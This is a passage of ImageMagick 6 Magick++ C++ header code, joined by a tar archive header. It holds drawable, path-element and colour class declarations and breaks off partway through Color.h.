/*virtual*/ DrawableBase* copy() const; #if !defined(MAGICKCORE_EXCLUDE_DEPRECATED) void centerX( double centerX_ ) { _upperLeftX = centerX_; } double centerX( void ) const { return _upperLeftX; } void centerY( double centerY_ ) { _upperLeftY = centerY_; } double centerY( void ) const { return _upperLeftY; } void width( double width_ ) { _lowerRightX = width_; } double width( void ) const { return _lowerRightX; } void hight( double hight_ ) { _lowerRightY = hight_; } double hight( void ) const { return _lowerRightY; } #endif void upperLeftX( double upperLeftX_ ) { _upperLeftX = upperLeftX_; } double upperLeftX( void ) const { return _upperLeftX; } void upperLeftY( double upperLeftY_ ) { _upperLeftY = upperLeftY_; } double upperLeftY( void ) const { return _upperLeftY; } void lowerRightX( double lowerRightX_ ) { _lowerRightX = lowerRightX_; } double lowerRightX( void ) const { return _lowerRightX; } void lowerRightY( double lowerRightY_ ) { _lowerRightY = lowerRightY_; } double lowerRightY( void ) const { return _lowerRightY; } void cornerWidth( double cornerWidth_ ) { _cornerWidth = cornerWidth_; } double cornerWidth( void ) const { return _cornerWidth; } void cornerHeight( double cornerHeight_ ) { _cornerHeight = cornerHeight_; } double cornerHeight( void ) const { return _cornerHeight; } private: double _upperLeftX; double _upperLeftY; double _lowerRightX; double _lowerRightY; double _cornerWidth; double _cornerHeight; }; // Apply Scaling class MagickPPExport DrawableScaling : public DrawableBase { public: DrawableScaling ( double x_, double y_ ) : _x(x_), _y(y_) { } /*virtual*/ ~DrawableScaling ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } private: double _x; double _y; }; // Apply Skew in X direction class MagickPPExport DrawableSkewX : public DrawableBase { public: DrawableSkewX ( double angle_ ) : _angle(angle_) { } /*virtual*/ ~DrawableSkewX ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void angle( double angle_ ) { _angle = angle_; } double angle( void ) const { return _angle; } private: double _angle; }; // Apply Skew in Y direction class MagickPPExport DrawableSkewY : public DrawableBase { public: DrawableSkewY ( double angle_ ) : _angle(angle_) { } /*virtual*/ ~DrawableSkewY ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void angle( double angle_ ) { _angle = angle_; } double angle( void ) const { return _angle; } private: double _angle; }; // Stroke dasharray // // dasharray_ is an allocated array terminated by value 0.0 or 0. // The array is copied so the original does not need to be preserved. // Pass a null pointer to clear an existing dash array setting. class MagickPPExport DrawableDashArray : public DrawableBase { public: DrawableDashArray( const double* dasharray_ ); DrawableDashArray( const size_t* dasharray_ ); // Deprecated DrawableDashArray( const Magick::DrawableDashArray &original_ ); /*virtual*/ ~DrawableDashArray( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void dasharray( const double* dasharray_ ); void dasharray( const size_t* dasharray_ ); // Deprecated const double* dasharray( void ) const { return _dasharray; } DrawableDashArray& operator=(const Magick::DrawableDashArray &original_); private: size_t _size; double *_dasharray; }; // Stroke dashoffset class MagickPPExport DrawableDashOffset : public DrawableBase { public: DrawableDashOffset ( const double offset_ ) : _offset(offset_) { } /*virtual*/ ~DrawableDashOffset ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void offset( const double offset_ ) { _offset = offset_; } double offset( void ) const { return _offset; } private: double _offset; }; // Stroke linecap class MagickPPExport DrawableStrokeLineCap : public DrawableBase { public: DrawableStrokeLineCap ( LineCap linecap_ ) : _linecap(linecap_) { } /*virtual*/ ~DrawableStrokeLineCap ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void linecap( LineCap linecap_ ) { _linecap = linecap_; } LineCap linecap( void ) const { return _linecap; } private: LineCap _linecap; }; // Stroke linejoin class MagickPPExport DrawableStrokeLineJoin : public DrawableBase { public: DrawableStrokeLineJoin ( LineJoin linejoin_ ) : _linejoin(linejoin_) { } /*virtual*/ ~DrawableStrokeLineJoin ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void linejoin( LineJoin linejoin_ ) { _linejoin = linejoin_; } LineJoin linejoin( void ) const { return _linejoin; } private: LineJoin _linejoin; }; // Stroke miterlimit class MagickPPExport DrawableMiterLimit : public DrawableBase { public: DrawableMiterLimit ( size_t miterlimit_ ) : _miterlimit(miterlimit_) { } /*virtual*/ ~DrawableMiterLimit ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void miterlimit( size_t miterlimit_ ) { _miterlimit = miterlimit_; } size_t miterlimit( void ) const { return _miterlimit; } private: size_t _miterlimit; }; // Stroke antialias class MagickPPExport DrawableStrokeAntialias : public DrawableBase { public: DrawableStrokeAntialias ( bool flag_ ) : _flag(flag_) { } /*virtual*/ ~DrawableStrokeAntialias ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void flag( bool flag_ ) { _flag = flag_; } bool flag( void ) const { return _flag; } private: bool _flag; }; // Stroke color class MagickPPExport DrawableStrokeColor : public DrawableBase { public: DrawableStrokeColor ( const Color &color_ ); DrawableStrokeColor ( const DrawableStrokeColor& original_ ); /*virtual*/ ~DrawableStrokeColor ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void color( const Color& color_ ) { _color = color_; } Color color( void ) const { return _color; } private: Color _color; }; // Stroke opacity class MagickPPExport DrawableStrokeOpacity : public DrawableBase { public: DrawableStrokeOpacity ( double opacity_ ) : _opacity(opacity_) { } /*virtual*/ ~DrawableStrokeOpacity ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void opacity( double opacity_ ) { _opacity = opacity_; } double opacity( void ) const { return _opacity; } private: double _opacity; }; // Stroke width class MagickPPExport DrawableStrokeWidth : public DrawableBase { public: DrawableStrokeWidth ( double width_ ) : _width(width_) { } /*virtual*/ ~DrawableStrokeWidth ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void width( double width_ ) { _width = width_; } double width( void ) const { return _width; } private: double _width; }; // Draw text at point class MagickPPExport DrawableText : public DrawableBase { public: DrawableText ( const double x_, const double y_, const std::string &text_ ); DrawableText ( const double x_, const double y_, const std::string &text_, const std::string &encoding_); DrawableText ( const DrawableText& original_ ); /*virtual*/ ~DrawableText ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void encoding(const std::string &encoding_) { _encoding = encoding_; } void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } void text( const std::string &text_ ) { _text = text_; } std::string text( void ) const { return _text; } private: double _x; double _y; std::string _text; std::string _encoding; }; // Text antialias class MagickPPExport DrawableTextAntialias : public DrawableBase { public: DrawableTextAntialias ( bool flag_ ); DrawableTextAntialias( const DrawableTextAntialias &original_ ); /*virtual*/ ~DrawableTextAntialias ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void flag( bool flag_ ) { _flag = flag_; } bool flag( void ) const { return _flag; } private: bool _flag; }; // Decoration (text decoration) class MagickPPExport DrawableTextDecoration : public DrawableBase { public: DrawableTextDecoration ( DecorationType decoration_ ); DrawableTextDecoration ( const DrawableTextDecoration& original_ ); /*virtual*/ ~DrawableTextDecoration( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void decoration( DecorationType decoration_ ) { _decoration = decoration_; } DecorationType decoration( void ) const { return _decoration; } private: DecorationType _decoration; }; // Render text right-to-left or left-to-right. class MagickPPExport DrawableTextDirection : public DrawableBase { public: DrawableTextDirection(DirectionType direction_); ~DrawableTextDirection(void); void operator()(MagickCore::DrawingWand *context_) const; void direction(DirectionType direction_); DirectionType direction(void) const; DrawableBase* copy() const; private: DirectionType _direction; }; // Specify text inter-line spacing class MagickPPExport DrawableTextInterlineSpacing : public DrawableBase { public: DrawableTextInterlineSpacing(double spacing_); ~DrawableTextInterlineSpacing(void); void operator()(MagickCore::DrawingWand *context_) const; void spacing(double spacing_); double spacing(void) const; DrawableBase* copy() const; private: double _spacing; }; // Specify text inter-word spacing class MagickPPExport DrawableTextInterwordSpacing : public DrawableBase { public: DrawableTextInterwordSpacing(double spacing_); ~DrawableTextInterwordSpacing(void); void operator()(MagickCore::DrawingWand *context_) const; void spacing(double spacing_); double spacing(void) const; DrawableBase *copy() const; private: double _spacing; }; // Specify text kerning class MagickPPExport DrawableTextKerning : public DrawableBase { public: DrawableTextKerning(double kerning_); ~DrawableTextKerning(void); void operator()(MagickCore::DrawingWand *context_) const; void kerning(double kerning_); double kerning(void) const; DrawableBase *copy() const; private: double _kerning; }; // Text undercolor box class MagickPPExport DrawableTextUnderColor : public DrawableBase { public: DrawableTextUnderColor ( const Color &color_ ); DrawableTextUnderColor ( const DrawableTextUnderColor& original_ ); /*virtual*/ ~DrawableTextUnderColor ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void color( const Color& color_ ) { _color = color_; } Color color( void ) const { return _color; } private: Color _color; }; // Apply Translation class MagickPPExport DrawableTranslation : public DrawableBase { public: DrawableTranslation ( double x_, double y_ ) : _x(x_), _y(y_) { } /*virtual*/ ~DrawableTranslation ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } private: double _x; double _y; }; // Set the size of the viewbox class MagickPPExport DrawableViewbox : public DrawableBase { public: DrawableViewbox(::ssize_t x1_, ::ssize_t y1_, ::ssize_t x2_, ::ssize_t y2_) : _x1(x1_), _y1(y1_), _x2(x2_), _y2(y2_) { } /*virtual*/ ~DrawableViewbox ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void x1( ::ssize_t x1_ ) { _x1 = x1_; } ::ssize_t x1( void ) const { return _x1; } void y1( ::ssize_t y1_ ) { _y1 = y1_; } ::ssize_t y1( void ) const { return _y1; } void x2( ::ssize_t x2_ ) { _x2 = x2_; } ::ssize_t x2( void ) const { return _x2; } void y2( ::ssize_t y2_ ) { _y2 = y2_; } ::ssize_t y2( void ) const { return _y2; } private: ::ssize_t _x1; ::ssize_t _y1; ::ssize_t _x2; ::ssize_t _y2; }; // // Path Element Classes To Support DrawablePath // class MagickPPExport PathArcArgs { public: PathArcArgs( void ); PathArcArgs( double radiusX_, double radiusY_, double xAxisRotation_, bool largeArcFlag_, bool sweepFlag_, double x_, double y_ ); PathArcArgs( const PathArcArgs &original_ ); ~PathArcArgs ( void ); void radiusX( double radiusX_ ) { _radiusX = radiusX_; } double radiusX( void ) const { return _radiusX; } void radiusY( double radiusY_ ) { _radiusY = radiusY_; } double radiusY( void ) const { return _radiusY; } void xAxisRotation( double xAxisRotation_ ) { _xAxisRotation = xAxisRotation_; } double xAxisRotation( void ) const { return _xAxisRotation; } void largeArcFlag( bool largeArcFlag_ ) { _largeArcFlag = largeArcFlag_; } bool largeArcFlag( void ) const { return _largeArcFlag; } void sweepFlag( bool sweepFlag_ ) { _sweepFlag = sweepFlag_; } bool sweepFlag( void ) const { return _sweepFlag; } void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } private: double _radiusX; // X radius double _radiusY; // Y radius double _xAxisRotation; // Rotation relative to X axis bool _largeArcFlag; // Draw longer of the two matching arcs bool _sweepFlag; // Draw arc matching clock-wise rotation double _x; // End-point X double _y; // End-point Y }; // Compare two PathArcArgs objects regardless of LHS/RHS MagickPPExport int operator == ( const PathArcArgs& left_, const PathArcArgs& right_ ); MagickPPExport int operator != ( const PathArcArgs& left_, const PathArcArgs& right_ ); MagickPPExport int operator > ( const PathArcArgs& left_, const PathArcArgs& right_ ); MagickPPExport int operator < ( const PathArcArgs& left_, const PathArcArgs& right_ ); MagickPPExport int operator >= ( const PathArcArgs& left_, const PathArcArgs& right_ ); MagickPPExport int operator <= ( const PathArcArgs& left_, const PathArcArgs& right_ ); typedef std::list<Magick::PathArcArgs> PathArcArgsList; #if defined(MagickDLLExplicitTemplate) MagickDrawableExtern template class MagickPPExport std::allocator<Magick::PathArcArgs>; // MagickDrawableExtern template class MagickPPExport // std::list<Magick::PathArcArgs, std::allocator<Magick::PathArcArgs> >; #endif // MagickDLLExplicitTemplate // Path Arc (Elliptical Arc) class MagickPPExport PathArcAbs : public VPathBase { public: // Draw a single arc segment PathArcAbs ( const PathArcArgs &coordinates_ ); // Draw multiple arc segments PathArcAbs ( const PathArcArgsList &coordinates_ ); // Copy constructor PathArcAbs ( const PathArcAbs& original_ ); // Destructor /*virtual*/ ~PathArcAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: PathArcArgsList _coordinates; }; class MagickPPExport PathArcRel : public VPathBase { public: // Draw a single arc segment PathArcRel ( const PathArcArgs &coordinates_ ); // Draw multiple arc segments PathArcRel ( const PathArcArgsList &coordinates_ ); PathArcRel ( const PathArcRel& original_ ); /*virtual*/ ~PathArcRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: PathArcArgsList _coordinates; }; // Path Closepath class MagickPPExport PathClosePath : public VPathBase { public: PathClosePath ( void ) : _dummy(0) { } /*virtual*/ ~PathClosePath ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: ::ssize_t _dummy; }; // // Curveto (Cubic Bezier) // class MagickPPExport PathCurvetoArgs { public: PathCurvetoArgs( void ); PathCurvetoArgs( double x1_, double y1_, double x2_, double y2_, double x_, double y_ ); PathCurvetoArgs( const PathCurvetoArgs &original_ ); ~PathCurvetoArgs ( void ); void x1( double x1_ ) { _x1 = x1_; } double x1( void ) const { return _x1; } void y1( double y1_ ) { _y1 = y1_; } double y1( void ) const { return _y1; } void x2( double x2_ ) { _x2 = x2_; } double x2( void ) const { return _x2; } void y2( double y2_ ) { _y2 = y2_; } double y2( void ) const { return _y2; } void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } private: double _x1; double _y1; double _x2; double _y2; double _x; double _y; }; // Compare two PathCurvetoArgs objects regardless of LHS/RHS MagickPPExport int operator == ( const PathCurvetoArgs& left_, const PathCurvetoArgs& right_ ); MagickPPExport int operator != ( const PathCurvetoArgs& left_, const PathCurvetoArgs& right_ ); MagickPPExport int operator > ( const PathCurvetoArgs& left_, const PathCurvetoArgs& right_ ); MagickPPExport int operator < ( const PathCurvetoArgs& left_, const PathCurvetoArgs& right_ ); MagickPPExport int operator >= ( const PathCurvetoArgs& left_, const PathCurvetoArgs& right_ ); MagickPPExport int operator <= ( const PathCurvetoArgs& left_, const PathCurvetoArgs& right_ ); typedef std::list<Magick::PathCurvetoArgs> PathCurveToArgsList; #if defined(MagickDLLExplicitTemplate) MagickDrawableExtern template class MagickPPExport std::allocator<Magick::PathCurvetoArgs>; // MagickDrawableExtern template class MagickPPExport // std::list<Magick::PathCurvetoArgs, std::allocator<Magick::PathCurvetoArgs> >; #endif // MagickDLLExplicitTemplate class MagickPPExport PathCurvetoAbs : public VPathBase { public: // Draw a single curve PathCurvetoAbs ( const PathCurvetoArgs &args_ ); // Draw multiple curves PathCurvetoAbs ( const PathCurveToArgsList &args_ ); // Copy constructor PathCurvetoAbs ( const PathCurvetoAbs& original_ ); // Destructor /*virtual*/ ~PathCurvetoAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: PathCurveToArgsList _args; }; class MagickPPExport PathCurvetoRel : public VPathBase { public: // Draw a single curve PathCurvetoRel ( const PathCurvetoArgs &args_ ); // Draw multiple curves PathCurvetoRel ( const PathCurveToArgsList &args_ ); // Copy constructor PathCurvetoRel ( const PathCurvetoRel& original_ ); /*virtual*/ ~PathCurvetoRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: PathCurveToArgsList _args; }; class MagickPPExport PathSmoothCurvetoAbs : public VPathBase { public: // Draw a single curve PathSmoothCurvetoAbs ( const Magick::Coordinate &coordinates_ ); // Draw multiple curves PathSmoothCurvetoAbs ( const CoordinateList &coordinates_ ); // Copy constructor PathSmoothCurvetoAbs ( const PathSmoothCurvetoAbs& original_ ); /*virtual*/ ~PathSmoothCurvetoAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: CoordinateList _coordinates; }; class MagickPPExport PathSmoothCurvetoRel : public VPathBase { public: // Draw a single curve PathSmoothCurvetoRel ( const Coordinate &coordinates_ ); // Draw multiple curves PathSmoothCurvetoRel ( const CoordinateList &coordinates_ ); // Copy constructor PathSmoothCurvetoRel ( const PathSmoothCurvetoRel& original_ ); // Destructor /*virtual*/ ~PathSmoothCurvetoRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: CoordinateList _coordinates; }; // // Quadratic Curveto (Quadratic Bezier) // class MagickPPExport PathQuadraticCurvetoArgs { public: PathQuadraticCurvetoArgs( void ); PathQuadraticCurvetoArgs( double x1_, double y1_, double x_, double y_ ); PathQuadraticCurvetoArgs( const PathQuadraticCurvetoArgs &original_ ); ~PathQuadraticCurvetoArgs ( void ); void x1( double x1_ ) { _x1 = x1_; } double x1( void ) const { return _x1; } void y1( double y1_ ) { _y1 = y1_; } double y1( void ) const { return _y1; } void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } private: double _x1; double _y1; double _x; double _y; }; // Compare two PathQuadraticCurvetoArgs objects regardless of LHS/RHS MagickPPExport int operator == ( const PathQuadraticCurvetoArgs& left_, const PathQuadraticCurvetoArgs& right_ ); MagickPPExport int operator != ( const PathQuadraticCurvetoArgs& left_, const PathQuadraticCurvetoArgs& right_); MagickPPExport int operator > ( const PathQuadraticCurvetoArgs& left_, const PathQuadraticCurvetoArgs& right_); MagickPPExport int operator < ( const PathQuadraticCurvetoArgs& left_, const PathQuadraticCurvetoArgs& right_); MagickPPExport int operator >= ( const PathQuadraticCurvetoArgs& left_, const PathQuadraticCurvetoArgs& right_ ); MagickPPExport int operator <= ( const PathQuadraticCurvetoArgs& left_, const PathQuadraticCurvetoArgs& right_ ); typedef std::list<Magick::PathQuadraticCurvetoArgs> PathQuadraticCurvetoArgsList; #if defined(MagickDLLExplicitTemplate) MagickDrawableExtern template class MagickPPExport std::allocator<Magick::PathQuadraticCurvetoArgs>; // MagickDrawableExtern template class MagickPPExport // std::list<Magick::PathQuadraticCurvetoArgs, std::allocator<Magick::PathQuadraticCurvetoArgs> >; #endif // MagickDLLExplicitTemplate class MagickPPExport PathQuadraticCurvetoAbs : public VPathBase { public: // Draw a single curve PathQuadraticCurvetoAbs ( const Magick::PathQuadraticCurvetoArgs &args_ ); // Draw multiple curves PathQuadraticCurvetoAbs ( const PathQuadraticCurvetoArgsList &args_ ); // Copy constructor PathQuadraticCurvetoAbs ( const PathQuadraticCurvetoAbs& original_ ); // Destructor /*virtual*/ ~PathQuadraticCurvetoAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: PathQuadraticCurvetoArgsList _args; }; class MagickPPExport PathQuadraticCurvetoRel : public VPathBase { public: // Draw a single curve PathQuadraticCurvetoRel ( const Magick::PathQuadraticCurvetoArgs &args_ ); // Draw multiple curves PathQuadraticCurvetoRel ( const PathQuadraticCurvetoArgsList &args_ ); // Copy constructor PathQuadraticCurvetoRel ( const PathQuadraticCurvetoRel& original_ ); // Destructor /*virtual*/ ~PathQuadraticCurvetoRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: PathQuadraticCurvetoArgsList _args; }; class MagickPPExport PathSmoothQuadraticCurvetoAbs : public VPathBase { public: // Draw a single curve PathSmoothQuadraticCurvetoAbs ( const Magick::Coordinate &coordinate_ ); // Draw multiple curves PathSmoothQuadraticCurvetoAbs ( const CoordinateList &coordinates_ ); // Copy constructor PathSmoothQuadraticCurvetoAbs ( const PathSmoothQuadraticCurvetoAbs& original_ ); // Destructor /*virtual*/ ~PathSmoothQuadraticCurvetoAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: CoordinateList _coordinates; }; class MagickPPExport PathSmoothQuadraticCurvetoRel : public VPathBase { public: // Draw a single curve PathSmoothQuadraticCurvetoRel ( const Magick::Coordinate &coordinate_ ); // Draw multiple curves PathSmoothQuadraticCurvetoRel ( const CoordinateList &coordinates_ ); // Copy constructor PathSmoothQuadraticCurvetoRel ( const PathSmoothQuadraticCurvetoRel& original_ ); // Destructor /*virtual*/ ~PathSmoothQuadraticCurvetoRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: CoordinateList _coordinates; }; // // Path Lineto // class MagickPPExport PathLinetoAbs : public VPathBase { public: // Draw to a single point PathLinetoAbs ( const Magick::Coordinate& coordinate_ ); // Draw to multiple points PathLinetoAbs ( const CoordinateList &coordinates_ ); // Copy constructor PathLinetoAbs ( const PathLinetoAbs& original_ ); // Destructor /*virtual*/ ~PathLinetoAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: CoordinateList _coordinates; }; class MagickPPExport PathLinetoRel : public VPathBase { public: // Draw to a single point PathLinetoRel ( const Magick::Coordinate& coordinate_ ); // Draw to multiple points PathLinetoRel ( const CoordinateList &coordinates_ ); // Copy constructor PathLinetoRel ( const PathLinetoRel& original_ ); // Destructor /*virtual*/ ~PathLinetoRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: CoordinateList _coordinates; }; // Path Horizontal Lineto class MagickPPExport PathLinetoHorizontalAbs : public VPathBase { public: PathLinetoHorizontalAbs ( double x_ ) : _x(x_) { } /*virtual*/ ~PathLinetoHorizontalAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } private: double _x; }; class MagickPPExport PathLinetoHorizontalRel : public VPathBase { public: PathLinetoHorizontalRel ( double x_ ) : _x(x_) { } /*virtual*/ ~PathLinetoHorizontalRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } private: double _x; }; // Path Vertical Lineto class MagickPPExport PathLinetoVerticalAbs : public VPathBase { public: PathLinetoVerticalAbs ( double y_ ) : _y(y_) { } /*virtual*/ ~PathLinetoVerticalAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } private: double _y; }; class MagickPPExport PathLinetoVerticalRel : public VPathBase { public: PathLinetoVerticalRel ( double y_ ) : _y(y_) { } /*virtual*/ ~PathLinetoVerticalRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } private: double _y; }; // Path Moveto class MagickPPExport PathMovetoAbs : public VPathBase { public: // Simple moveto PathMovetoAbs ( const Magick::Coordinate &coordinate_ ); // Moveto followed by implicit linetos PathMovetoAbs ( const CoordinateList &coordinates_ ); // Copy constructor PathMovetoAbs ( const PathMovetoAbs& original_ ); // Destructor /*virtual*/ ~PathMovetoAbs ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: CoordinateList _coordinates; }; class MagickPPExport PathMovetoRel : public VPathBase { public: // Simple moveto PathMovetoRel ( const Magick::Coordinate &coordinate_ ); // Moveto followed by implicit linetos PathMovetoRel ( const CoordinateList &coordinates_ ); // Copy constructor PathMovetoRel ( const PathMovetoRel& original_ ); // Destructor /*virtual*/ ~PathMovetoRel ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ VPathBase* copy() const; private: CoordinateList _coordinates; }; } // namespace Magick #endif // Magick_Drawable_header ImageMagick-6/Magick++/Color.h 0000644 00000027611 15246445046 0011636 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002, 2003, 2008 // // Color Implementation // #if !defined (Magick_Color_header) #define Magick_Color_header #include "Magick++/Include.h" #include <string> namespace Magick { class MagickPPExport Color; // Compare two Color objects regardless of LHS/RHS MagickPPExport int operator == (const Magick::Color &left_,const Magick::Color &right_); MagickPPExport int operator != (const Magick::Color &left_,const Magick::Color &right_); MagickPPExport int operator > (const Magick::Color &left_,const Magick::Color &right_); MagickPPExport int operator < (const Magick::Color &left_,const Magick::Color &right_); MagickPPExport int operator >= (const Magick::Color &left_,const Magick::Color &right_); MagickPPExport int operator <= (const Magick::Color &left_,const Magick::Color &right_); // Base color class stores RGB components scaled to fit Quantum class MagickPPExport Color { public: // Default constructor Color(void); // Construct Color using the specified RGB values Color(Magick::Quantum red_,Magick::Quantum green_,Magick::Quantum blue_); // Construct Color using the specified RGBA values Color(Magick::Quantum red_,Magick::Quantum green_,Magick::Quantum blue_,Magick::Quantum alpha_); // Construct Color using the specified color string Color(const char *x11color_); // Copy constructor Color(const Color &color_); // Construct color via ImageMagick PixelPacket Color(const PixelPacket &color_); // Constructor Color using the specified color string Color(const std::string &x11color_); // Destructor virtual ~Color(void); // Assignment operator Color& operator=(const Color& color_); // Set color via X11 color specification string const Color& operator=(const char *x11color); // Set color via X11 color specification string const Color& operator=(const std::string &x11color_); // Set color via ImageMagick PixelPacket const Color& operator=(const PixelPacket &color_); // Return ImageMagick PixelPacket operator PixelPacket() const; // Return X11 color specification string operator std::string() const; // Scaled (to 1.0) version of alpha for use in sub-classes // (range opaque=0 to transparent=1.0) void alpha(double alpha_); double alpha(void) const; // Alpha level (range OpaqueOpacity=0 to TransparentOpacity=QuantumRange) void alphaQuantum(Quantum alpha_); Quantum alphaQuantum(void) const; // Blue color (range 0 to QuantumRange) void blueQuantum(Quantum blue_); Quantum blueQuantum (void) const; // Green color (range 0 to QuantumRange) void greenQuantum(Quantum green_); Quantum greenQuantum(void) const; // Does object contain valid color? void isValid(bool valid_); bool isValid(void) const; // Red color (range 0 to QuantumRange) void redQuantum(Quantum red_); Quantum redQuantum (void) const; // // Public methods beyond this point are for Magick++ use only. // // Obtain pixel intensity as a double double intensity(void) const { return (0.299*(_pixel->red)+0.587*(_pixel->green)+0.114*(_pixel->blue)); } // Scale a value expressed as a double (0-1) to Quantum range (0-QuantumRange) static Quantum 